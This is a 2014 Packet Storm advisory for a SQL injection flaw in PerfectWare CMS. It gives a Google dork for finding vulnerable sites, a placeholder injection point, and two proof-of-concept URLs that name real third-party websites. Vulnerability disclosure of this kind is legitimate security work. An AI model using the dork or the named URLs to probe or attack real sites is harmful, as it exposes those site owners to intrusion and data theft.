PerfectWare CMS SQL Injection

2014-05-11T00:00:00
ID PACKETSTORM:126582
Type packetstorm
Reporter Hugo Santiago dos Santos
Modified 2014-05-11T00:00:00

Description

                                        
                                            `# PerfectWare CMS SQL Injection  
# Risk: High  
# CWE number: CWE-89  
# Author: Hugo Santiago dos Santos  
# Contact: hugo.s@linuxmail.com  
# Date: 09/05/2014  
# Vendor Homepage: http://www.perfectware.com.br/ (Robson Gutierrez)  
# Tested on: Windows 7 and Gnu/Linux  
# Google Dork: intext:Desenvolvimento By Robson Gutierrez  
# Url vul : http://host/?parameter1=ID_1&parameter2=[SQLI]  
# Exploit:  
Post exploit = &parameter2=[SQLI]  
  
# PoC : http://renovaautocenter.com.br/?conteudo=servicos&menu=geometria'  
http://decoracaohortifruti.com.br/?conteudo=videos&id=59'  
  
`